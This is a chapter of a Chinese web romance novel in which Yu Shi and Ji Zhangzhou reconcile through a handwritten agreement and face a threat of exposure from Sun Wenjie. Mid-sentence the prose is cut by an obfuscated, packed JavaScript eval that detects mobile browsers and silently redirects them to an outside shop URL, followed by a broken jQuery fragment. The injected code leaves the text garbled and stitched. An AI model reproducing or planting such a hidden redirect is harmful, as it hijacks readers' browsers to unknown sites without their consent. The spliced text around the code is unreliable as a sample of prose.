他维持着僵硬的姿势,长长伸出手臂,将手机稳稳举在季章州面前。

    气氛骤然降至冰点。

    尴尬的对峙再一次把两人的距离推得更远。

    虞时低垂着脑袋,细碎的发梢垂落下来,恰到好处地遮挡住所有情绪。

    他不太敢抬头看季章州的神情,但他感受到了对方明显的吃惊。

    季章州一定没料到他会说这样的话。

    其实,就连虞时也没想到自己会这样说。

    他不知自己是怎么了。以前的他从不会被这些虚荣的情绪左右,可现在面对季章州,他却有无数的自尊心在一遍又一遍叫嚣着:他是一无是处,他是个累赘,他应该远离季章州。

    但他又是那样深爱着这个人,以至于他生出这种荒唐的欲望——

    就算季章州真的厌弃了他,就算只是被对方玩乐消遣,就算是自取其辱,只要能季章州留在身边,他也心甘情愿。

    身前的人久久沉默不语,呼吸声却在不断加重。

    似乎是生气了。

    就在这片落针可闻的死寂中,手机忽然震动起来。虞时被吓一跳,手指一时脱力,将手机掉在了地上。

    窘迫顺着脊梁骨蔓延至全身。

    虞时暗暗咬着后槽牙,气恼自己为何这般笨拙没用,像惊弓之鸟,不过一点动静就慌了手脚。

    季章州一定会笑话他吧。

    但转念一想,又生出一点自欺欺人的期许,或许……这样的窘态、如此拙劣的自己,能让季章州心里舒服一些,能冲淡那些恨意与芥蒂,不再那般记恨他。

    他兀自低头,耳根红了大半,正要拾起地上的手机,就听见:

    “虞时,真的很……对不起。”季章州的声音在颤抖。

    “我很后悔,当时对你说了那样的话。”

    “我一直都是爱你的。”

    “我当时看见——我真的是气疯了,我,我……”

    “我再次看见你的那一刻,我就已经了疯了……”

    余下的话,被尽数卡在喉咙里,千言万语总归是说不完两年,七百五十个日夜的牵挂和想念。

    听见这些,虞时心里是高兴的。

    但他依旧维持着弯腰的姿势,迟迟不肯直起身,水晶似的泪水在眼眶里不停打转,却被他死死忍住,不让其滑落半滴。

    片刻后,他才捡起手机,重新挺拔身姿,面无表情地看向季章州。

    他缓缓抬起手,手指在空中起起落落,比出了一串手语。

    他清楚季章州看不懂,正因如此,他才敢比划出来,才敢将自己的心事毫无保留地说出来。

    季章州静静望着他指尖翻飞,眸色黯淡。

    他确实辨认不出这些手势的含义,只能看见虞时眸子里翻涌的情绪,看见他的悲愤和不甘。

    沉默片刻,他才抓住与虞时的手说:“我看不懂。能不能打字说给我听?”

    手语已然将情绪尽数吐露,虞时抽回手,在手机上编辑了一段直白又伤人的字。

    “可是我已经不爱你了。”

    单方面的。

    季章州冷冷笑了一声,如何会信这样一句违心的谎话。

    朝夕相处那么久,早已把对方揉进了骨髓里。如果真的不爱了,虞时不会安然吃下他准备的早餐,不会处处刻意躲闪回避,更不会彷徨与不安。

    但他没有揭穿。

    他想要的不是戳破虞时这身执拗又脆弱的保护壳,他要的是彻底解开困住虞时的心结。

    “我从没想过,要让你把过往当成亏欠。”

    “我觉得,真正该弥补的,是我们彼此错过的这两年时光。”

    他看着虞时僵滞的面容,用温柔困住想要逃离的人:“既然你总想做点什么,就按照你说的,我们签一份协议,内容由我来定。”

    话音落下,季章州转身取来一张空白 A4 纸和笔。

    低头伏案,笔尖在纸面沙沙作响:

    “第一,虞时每日按时吃饭,不准苛待自己的身体,否则,季章州同样也一天不吃东西。”

    “第二,乖乖配合心理医生的指导,但季章州不能随意打探虞时的个人隐私。”

    “第三,不许再把亏欠挂在嘴边,更不许妄自菲薄,否则,季章州一定会非常不开心。”

    “第四,往后无论遇上什么事情,都应该第一时间告诉季章州,这是季章州对虞时不告而别的惩罚。”

    寥寥四条,最后落款:甲方:季章州。

    “协议写好了,只要你愿意遵守,过往谁是谁非、亏欠,我们都暂且放下。就当是…… 我们把遗失的两年,一点点补回来。”季章州把白纸黑字推到虞时面前,目光绵长地看着对方。

    他看得明白,虞时骨子里的自卑与退缩,短时间内根本无法根除,硬碰硬只会逼得对方再次封闭内心。

    这份协议,是精心斟酌的退路,顺着虞时的愧疚、急于弥补的心思,绕开情爱,不用逼他承认心动,不逼他接纳爱意,只以“弥补”为名,将他留在身边。

    虞时逐字逐句阅读完这些“约束”,每一字,每一句都裹挟着沉甸甸的迁就和牵绊,没有苛责和刁难,满满的都是偏爱。

    这个人真的太好了。

    明明是他先做错,是他不告而别、自我逃避、满身狼狈拖累旁人,可季章州依旧在迁就他的敏感,包容他的自卑,体谅他的创伤。

    就连用来捆绑彼此的规矩,都温柔得让人溃不成军。

    心底压抑的爱意如巨浪一般,势不可挡地拍打着岸边好不容易修补好的高墙,让其又变得岌岌可危。

    理智依旧在提醒着他。

    不能沦陷,不能接受,不能仗着这份偏爱贪心。

    ——他满身伤痕,配不上这样温柔的季章州。

    虞时心里的爱恨、贪恋和克制反复撕扯,季章州却轻浅地调侃道:“怎么?言出必行的房东大人,今天要出尔反尔吗?”

    季章州也是个讨厌的人。

    太会拿捏他,太懂他的软肋。

    虞时认输了。

    看着“虞时”二字落笔完成,季章州脸上才漾起一丝浅浅的笑意。

    虞时又在手机上敲字:“那我回老家的事……”

    就当是短暂避世,就当是给自己混乱的心找一个暂时的落脚点。

    季章州应声:“好,我陪你一起去。”

    心头沉甸甸的巨石终于稍稍落地,紧绷了许久的神经得以松弛。

    直到这时,虞时才猛然想起,刚才手机震动,没有来得及查看消息。

    他点亮屏幕。

    微信置顶的对话框里,是备注“牛油果拌饭”的十几条语音铺满了屏幕,看得出林屿很着急。

    “哥,你是不是去见了那个人渣?”

    “他们好像打算把你当年被迫住院和囚/禁的事情,全部公开散播。”

    “他还说什么,大不了大家鱼死网破,谁也别想捞到好处。”

    “他说的是谁呀?”

    “你可千万别冲动啊!”

    “你为了我们已经付出得够多了。”

    “还有一件事,我们商量过后,还是觉得应该告诉你,嗯……我们团队下周就要宣布解散了。”

    ……

    虞时指尖悬停在空中,脸色瞬间不大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615104|206055||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好。

    该来的总会来的,天下无不散之宴席。

    此刻,他对孙文杰的痛恨到达顶点,也恨自己没有更早认清孙文杰的真面目。

    他紧握着手机,侧颈处血管突起,眼中只剩下无尽的怒火和悔恨。

    季章州见状,立马关心询问:“怎么了?”

    虞时下意识摇了摇头,双唇微微一抿,想摇头表示没事。

    不过,还没来得及再做出多余的不表情,就见季章州点了点桌上刚生效不久的协议,“忘了吗?咱们的约定。”

    虞时有些无语,果然,他总是拿季章州没有办法,便把手机递了出去。

    季章州机灵的眼珠子一转,似乎是想到了什么绝妙的点子。

    “总这样互通消息也不方便,加个微信吧。”说着,季章州拿出自己手机,点开扫码界面对准虞时的二维码,嘴上还半开玩笑地打趣,“我可是甲方,留好乙方的联系方式本就是分内事。万一哪天临时变卦,我也好第一时间找到人,对吧?”

    扫码、通过好友,一气呵成。

    季章州不仅加回了微信,还在手机上存了他的新号码。

    先前,虞时为了和季章州切断所有联系,他换了号码,删了微信。

    现在,他依旧不希望有太过于紧密的联系,便想想要伸手阻拦,却都被对方巧妙侧身躲了过去。

    这人还是和以前一样,是个喜欢戏弄他的坏东西。

    随后,季章州满是得意,切回牛油果拌饭的聊天界面。

    他轻点屏幕,快速将那些语音转文字大致阅读完毕,从容淡定地说:“别担心,有我在,孙文杰翻不起什么大浪。”

    “团队解散了就重新组合嘛,难道PaperClips一定要在潮汐才能发展吗?”

    “你是不是忘了,还有我呢。”

    “孙文杰也就只会拿陈年旧事做文章。” 季章州将手机放回桌面,身子微微前倾,“他敢散播,我们就敢直面,当年的事原委如何,圈内不少人心里都有数,真闹开了,身败名裂的只会是他。”

    “而且他现在根基不稳,急于撕破脸,恰恰是心虚的表现,我们不用被他牵着情绪走。”

    他把手机交还到虞时掌心:“今天,需要再做一次心理咨询。”

    “哦,对了,下午公司还有些事情需要处理,我不在,你要遵照协议,认真配合医生的治疗哦!”

    “明天一早,我们就出发去老家。正好,趁这段时间,我也需要静静心。”

    “至于孙文杰,我会让人盯着,他要是敢轻举妄动——”

    季章州意味深长地挑了一下眉毛,脸上划过一丝敛于温柔之下的冰冷和无情,没有再说下去。

    虞时捕捉到了这个表情。

    他记得很早之前看见季章州露出这副表情后,那位《远方的声音》节目组里的张制片就没落得什么好下场。

    听说那位张制片在酒会离席后,因为喝了太多自己下了料的酒,药效发作,误闯别的包厢,对一位健身教练的女朋友性/骚扰,还寻衅滋事,不仅被健身教练打得满地找牙,更是被警察叔叔带走,拘留罚款。

    后来综艺开机,虞时已经见不到那位所谓的张制片了,此后,圈里几乎再没人想起这号人物。

    没有人知道这人后来去了什么地方,但虞时心底隐约清楚,但凡招惹到季章州,敢肆意伤害他身边人的人,从来都得不到半分姑息。

    他看向身旁的人,窗外的天光落进室内,落在季章州轮廓分明的侧脸上,冲淡了商场上的威压,只剩安稳和可靠。

    前路纵然充满未知,但这一次,他不再是孤身一人。